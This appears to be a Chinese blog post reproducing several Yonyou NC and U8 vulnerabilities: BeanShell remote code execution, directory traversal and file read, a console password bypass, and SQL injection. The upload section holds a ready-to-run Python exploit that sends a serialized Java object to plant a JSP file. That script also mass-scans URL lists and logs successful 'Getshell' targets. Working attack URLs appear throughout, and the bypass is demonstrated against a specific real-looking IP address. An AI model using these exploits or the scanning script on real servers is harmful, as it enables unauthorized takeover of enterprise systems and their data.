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用友NC漏洞集合.html
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用友NC漏洞集合
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<a href="/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/" itemprop="url" rel="index"><span itemprop="name">漏洞复现</span></a>
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<h2 id="【CNVD-2021-30167】-用友NC-BeanShell远程代码执行漏洞"><a href="#【CNVD-2021-30167】-用友NC-BeanShell远程代码执行漏洞" class="headerlink" title="【CNVD-2021-30167】 用友NC BeanShell远程代码执行漏洞"></a>【CNVD-2021-30167】 用友NC BeanShell远程代码执行漏洞</h2><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>用友NC是面向集团企业的管理软件，其在同类市场占有率中达到亚太第一。</p>
<span id="more"></span>
<h3 id="漏洞概述"><a href="#漏洞概述" class="headerlink" title="漏洞概述"></a>漏洞概述</h3><p>该漏洞是由于用友NC对外开放了BeanShell测试接口，并没有设置权限，攻击者可利用该漏洞在未授权的情况下，构造恶意数据，执行任意代码，最终获取服务器最高权限。</p>
<h3 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h3><p>用友NC6.5版本</p>
<h3 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>无需登录，直接访问URL<code>http://xxx.xxx.xxx.xxx/servlet/~ic/bsh.servlet.BshServlet</code>进入BeanShell Test Servlet页面</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912222806.png"></p>
</li>
<li><p>BeanShell Test Servlet页面有执行代码的接口，输入payload如：<code>exec("whoami");</code>即可看到命令执行成功。</p>
</li>
</ol>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223044.png"></p>
<ol start="3">
<li>该漏洞为第三方jar包的漏洞导致的。如果存在<code>servlet/~ic/bsh.servlet.BshServlet</code>路径且能正常访问，则大概率会存在该漏洞。</li>
</ol>
<h2 id="用友ERP-NC目录遍历-文件读取漏洞"><a href="#用友ERP-NC目录遍历-文件读取漏洞" class="headerlink" title="用友ERP-NC目录遍历+文件读取漏洞"></a>用友ERP-NC目录遍历+文件读取漏洞</h2><h3 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>用友<code>ERP-NC</code>存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息</p>
<h3 id="影响版本-1"><a href="#影响版本-1" class="headerlink" title="影响版本"></a>影响版本</h3><p>用友ERP-NC</p>
<h3 id="复现过程-1"><a href="#复现过程-1" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li>无需登录，直接访问URL<code>http://xxx.xxx.xxx.xxx/NCFindWeb?service=IPreAlertConfigService&filename=</code>可查看当前目录</li>
</ol>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223133.png"></p>
<ol start="2">
<li>在filename后面加上文件名即可查看内容</li>
</ol>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223015.png"></p>
<ol start="3">
<li>尝试目录穿越读取敏感文件，发现网上大部分用友NC已经无法实现目录穿越，需在特定条件下才能满足，同时该漏洞的修复版本并位公开。</li>
<li>该漏洞为第三方jar包的漏洞导致的。如果存在<code>/NCFindWeb?service=IPreAlertConfigService&filename=</code>路径且能正常访问，则则存在该漏洞。</li>
</ol>
<h2 id="用友NC控制台密码绕过漏洞"><a href="#用友NC控制台密码绕过漏洞" class="headerlink" title="用友NC控制台密码绕过漏洞"></a>用友NC控制台密码绕过漏洞</h2><h3 id="漏洞描述-1"><a href="#漏洞描述-1" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>用友<code>ERP-NC</code>控制台存在控制台密码绕过漏洞，攻击者可以输入默认密码123456或者抓取更改返回数据包实现任意用户登录。</p>
<h3 id="影响版本-2"><a href="#影响版本-2" class="headerlink" title="影响版本"></a>影响版本</h3><p>用友NC</p>
<h3 id="复现过程-2"><a href="#复现过程-2" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>访问URL<code>http://183.252.48.82:81/uapws/index.jsp</code>进入控制台登录页面</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223229.png"></p>
</li>
<li><p>如果password项存在内容，则直接点击OK即可登录，如果不存在内容，则输入任意内容，后更改返回数据包由0变为1即可实现登录。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223315.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223333.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223359.png"></p>
<ol start="3">
<li>如上图所示，成功登录后台。</li>
</ol>
<h2 id="用友NC-Cloud-FS文件管理SQL注入漏洞"><a href="#用友NC-Cloud-FS文件管理SQL注入漏洞" class="headerlink" title="用友NC Cloud FS文件管理SQL注入漏洞"></a>用友NC Cloud FS文件管理SQL注入漏洞</h2><h3 id="漏洞描述-2"><a href="#漏洞描述-2" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>用友 <code>NCCloud FS</code> 文件管理登录页面对用户名参数没有过滤，存在 <code>SQL</code> 注入。</p>
<h3 id="影响版本-3"><a href="#影响版本-3" class="headerlink" title="影响版本"></a>影响版本</h3><p>用友NC</p>
<h3 id="复现过程-3"><a href="#复现过程-3" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>访问文件服务器管理登录页面</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223709.png"></p>
</li>
<li><p>输入任意用户名和密码，提交登录后截取数据包</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223751.png"></p>
<p>发现为POST请求，说明该漏洞已经修复。如果为get请求则存在SQL注入。</p>
</li>
</ol>
</li>
</ol>
<h2 id="用友NC-6-5未授权文件上传漏洞"><a href="#用友NC-6-5未授权文件上传漏洞" class="headerlink" title="用友NC 6.5未授权文件上传漏洞"></a>用友NC 6.5未授权文件上传漏洞</h2><h3 id="漏洞描述-3"><a href="#漏洞描述-3" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>用友 <code>NC6.5</code> 版本存在未授权文件上传漏洞，攻击者可以未授权上传任意文件，进而获取服务端控制权限。</p>
<h3 id="4-2-影响版本"><a href="#4-2-影响版本" class="headerlink" title="4.2. 影响版本"></a>4.2. 影响版本</h3><p>用友NC6.5版本</p>
<h3 id="4-3-复现过程"><a href="#4-3-复现过程" class="headerlink" title="4.3. 复现过程"></a>4.3. 复现过程</h3><ol>
<li><p>查看页面<code>/servlet/~uapss/com.yonyou.ante.servlet.FileReceiveServlet</code>内容如下</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">handleRequest</span><span class="params">(HttpServletRequest req, HttpServletResponse resp)</span> {</span><br><span class="line"> ServletInputStream servletInputStream;</span><br><span class="line"> ServletOutputStream servletOutputStream;</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="type">FileOutputStream</span> <span class="variable">os</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="type">OutputStream</span> <span class="variable">rtnos</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> <span class="string">""</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> servletInputStream = req.getInputStream();</span><br><span class="line"> servletOutputStream = resp.getOutputStream();</span><br><span class="line"> ois = <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>((InputStream)servletInputStream);</span><br><span class="line"> Map<String, Object> metaInfo = <span class="literal">null</span>;</span><br><span class="line"> metaInfo = (Map<String, Object>)ois.readObject();</span><br><span class="line"> path = (String)metaInfo.get(<span class="string">"TARGET_FILE_PATH"</span>);</span><br><span class="line"> fileName = (String)metaInfo.get(<span class="string">"FILE_NAME"</span>);</span><br><span class="line"> <span class="type">File</span> <span class="variable">outFile</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(path, fileName);</span><br><span class="line"> os = <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(outFile);</span><br><span class="line"> <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line"> <span class="type">int</span> <span class="variable">receiveCount</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> ((receiveCount = servletInputStream.read(buffer, <span class="number">0</span>, <span class="number">1024</span>)) != -<span class="number">1</span>)</span><br><span class="line"> os.write(buffer, <span class="number">0</span>, receiveCount); </span><br><span class="line"> os.flush();</span><br><span class="line"> servletOutputStream.write(<span class="number">1</span>);</span><br></pre></td></tr></table></figure>
<p>可以上传一个反序列化的map，使用TARGET_FILE_PATH和FILE_NAME键确定文件位置，再向后拼接文件内容，实现文件上传。</p>
</li>
<li><p>利用poc如下</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> threadpool</span><br><span class="line"><span class="keyword">import</span> urllib3</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"></span><br><span class="line">urllib3.disable_warnings()</span><br><span class="line">proxies = {<span class="string">'http'</span>: <span class="string">'http://localhost:8080'</span>, <span class="string">'https'</span>: <span class="string">'http://localhost:8080'</span>}</span><br><span class="line">header = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"</span>,</span><br><span class="line"> <span class="string">"Content-Type"</span>: <span class="string">"application/x-www-form-urlencoded"</span>,</span><br><span class="line"> <span class="string">"Referer"</span>: <span class="string">"https://google.com"</span>,</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">multithreading</span>(<span class="params">funcname, filename=<span class="string">"url.txt"</span>, pools=<span class="number">5</span></span>):</span><br><span class="line"> works = []</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(filename, <span class="string">"r"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> f:</span><br><span class="line"> func_params = [i.rstrip(<span class="string">"\n"</span>)]</span><br><span class="line"> works.append((func_params, <span class="literal">None</span>))</span><br><span class="line"> pool = threadpool.ThreadPool(pools)</span><br><span class="line"> reqs = threadpool.makeRequests(funcname, works)</span><br><span class="line"> [pool.putRequest(req) <span class="keyword">for</span> req <span class="keyword">in</span> reqs]</span><br><span class="line"> pool.wait()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">wirte_targets</span>(<span class="params">vurl, filename</span>):</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(filename, <span class="string">"a+"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(vurl + <span class="string">"\n"</span>)</span><br><span class="line"> <span class="keyword">return</span> vurl</span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>(<span class="params">u</span>):</span><br><span class="line"> uploadHeader = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"</span>,</span><br><span class="line"> <span class="string">"Content-Type"</span>: <span class="string">"multipart/form-data;"</span>,</span><br><span class="line"> <span class="string">"Referer"</span>: <span class="string">"https://google.com"</span></span><br><span class="line"> }</span><br><span class="line"> uploadData = <span class="string">"\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"</span></span><br><span class="line"> shellFlag=<span class="string">"t0test0ls"</span></span><br><span class="line"> uploadData+=shellFlag</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> req1 = requests.post(u + <span class="string">"/servlet/FileReceiveServlet"</span>, headers=uploadHeader, verify=<span class="literal">False</span>, data=uploadData, timeout=<span class="number">25</span>)</span><br><span class="line"> <span class="keyword">if</span> req1.status_code == <span class="number">200</span> :</span><br><span class="line"> req3=requests.get(u+<span class="string">"/t00ls.jsp"</span>,headers=header, verify=<span class="literal">False</span>, timeout=<span class="number">25</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> req3.text.index(shellFlag)>=<span class="number">0</span>:</span><br><span class="line"> printFlag = <span class="string">"[Getshell]"</span> + u+<span class="string">"/t00ls.jsp"</span> + <span class="string">"\n"</span></span><br><span class="line"> <span class="built_in">print</span> (printFlag)</span><br><span class="line"> wirte_targets(printFlag, <span class="string">"vuln.txt"</span>)</span><br><span class="line"> <span class="keyword">except</span> :</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> <span class="comment">#print(printFlag, end="")</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">len</span>(sys.argv)) < <span class="number">2</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'useage : python'</span> +<span class="built_in">str</span>(sys.argv[<span class="number">0</span>]) + <span class="string">' -h'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> parser =argparse.ArgumentParser()</span><br><span class="line"> parser.description =<span class="string">'YONYOU UC 6.5 FILE UPLOAD!'</span></span><br><span class="line"> parser.add_argument(<span class="string">'-u'</span>,<span class="built_in">help</span>=<span class="string">"url -> example [url]http://127.0.0.1[/url]"</span>,<span class="built_in">type</span>=<span class="built_in">str</span>,dest=<span class="string">'check_url'</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-r'</span>,<span class="built_in">help</span>=<span class="string">"url list to file"</span>,<span class="built_in">type</span>=<span class="built_in">str</span>,dest=<span class="string">'check_file'</span>)</span><br><span class="line"> args =parser.parse_args()</span><br><span class="line"> <span class="keyword">if</span> args.check_url:</span><br><span class="line"> exp(args.check_url)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span>(args.check_file):</span><br><span class="line"> multithreading(exp, args.check_file, <span class="number">8</span>)</span><br></pre></td></tr></table></figure></li>
<li><p>利用POC成功上传t00ls.jsp文件</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912223947.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912224230.png"></p>
</li>
<li><p>可以通过该漏洞实现上传webshell。</p>
</li>
</ol>
<h2 id="用友U8-OA-SQL注入漏洞"><a href="#用友U8-OA-SQL注入漏洞" class="headerlink" title="用友U8 OA SQL注入漏洞"></a>用友U8 OA SQL注入漏洞</h2><h3 id="漏洞描述-4"><a href="#漏洞描述-4" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>用友 <code>U8 OA test.jsp</code> 文件存在 <code>SQL</code> 注入漏洞。</p>
<h3 id="影响版本-4"><a href="#影响版本-4" class="headerlink" title="影响版本"></a>影响版本</h3><p>用友 U8 OA</p>
<h3 id="复现过程-4"><a href="#复现过程-4" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>检测漏洞URL为<code>/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))</code>，访问链接显示如下，存在SQL注入漏洞</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912224212.png"></p>
</li>
<li><p>使用SQLmap尝试SQL注入测试，显示存在漏洞。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912224146.png"></p>
</li>
</ol>
<h2 id="综合利用EXP"><a href="#综合利用EXP" class="headerlink" title="综合利用EXP"></a>综合利用EXP</h2><p>github上有用友NC的综合利用EXP：<a target="_blank" rel="noopener" href="https://github.com/asdasdqkq1/yonyou-nc-exp">https://github.com/asdasdqkq1/yonyou-nc-exp</a></p>
<p>涉及漏洞包括：</p>
<ul>
<li>【CNVD-2021-30167】 用友NC BeanShell远程代码执行漏洞</li>
<li>用友ERP-NC目录遍历+文件读取漏洞</li>
<li>用友NC 6.5未授权文件上传漏洞（RCE）</li>
<li>用友ERP SQL注入漏洞（该漏洞目前网站基本已经不存在，故前面无法复现，没有介绍）</li>
<li>用友U8 OA SQL注入漏洞</li>
</ul>
<p>测试结果如下：</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912224336.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912224409.png"></p>
<p><strong>注：仅当作技术研究，请勿用于非法用途 后果作者概不负责！！！</strong></p>
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<div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E3%80%90CNVD-2021-30167%E3%80%91-%E7%94%A8%E5%8F%8BNC-BeanShell%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E"><span class="nav-number">1.</span> <span class="nav-text">【CNVD-2021-30167】 用友NC BeanShell远程代码执行漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%AE%80%E4%BB%8B"><span class="nav-number">1.1.</span> <span class="nav-text">简介</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%A6%82%E8%BF%B0"><span class="nav-number">1.2.</span> <span class="nav-text">漏洞概述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC"><span class="nav-number">1.3.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B"><span class="nav-number">1.4.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%94%A8%E5%8F%8BERP-NC%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86-%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E"><span class="nav-number">2.</span> <span class="nav-text">用友ERP-NC目录遍历+文件读取漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0"><span class="nav-number">2.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC-1"><span class="nav-number">2.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B-1"><span class="nav-number">2.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%94%A8%E5%8F%8BNC%E6%8E%A7%E5%88%B6%E5%8F%B0%E5%AF%86%E7%A0%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E"><span class="nav-number">3.</span> <span class="nav-text">用友NC控制台密码绕过漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-1"><span class="nav-number">3.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC-2"><span class="nav-number">3.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B-2"><span class="nav-number">3.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%94%A8%E5%8F%8BNC-Cloud-FS%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"><span class="nav-number">4.</span> <span class="nav-text">用友NC Cloud FS文件管理SQL注入漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-2"><span class="nav-number">4.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC-3"><span class="nav-number">4.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B-3"><span class="nav-number">4.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%94%A8%E5%8F%8BNC-6-5%E6%9C%AA%E6%8E%88%E6%9D%83%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E"><span class="nav-number">5.</span> <span class="nav-text">用友NC 6.5未授权文件上传漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-3"><span class="nav-number">5.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#4-2-%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC"><span class="nav-number">5.2.</span> <span class="nav-text">4.2. 影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#4-3-%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B"><span class="nav-number">5.3.</span> <span class="nav-text">4.3. 复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%94%A8%E5%8F%8BU8-OA-SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"><span class="nav-number">6.</span> <span class="nav-text">用友U8 OA SQL注入漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-4"><span class="nav-number">6.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC-4"><span class="nav-number">6.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B-4"><span class="nav-number">6.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%BB%BC%E5%90%88%E5%88%A9%E7%94%A8EXP"><span class="nav-number">7.</span> <span class="nav-text">综合利用EXP</span></a></li></ol></div>
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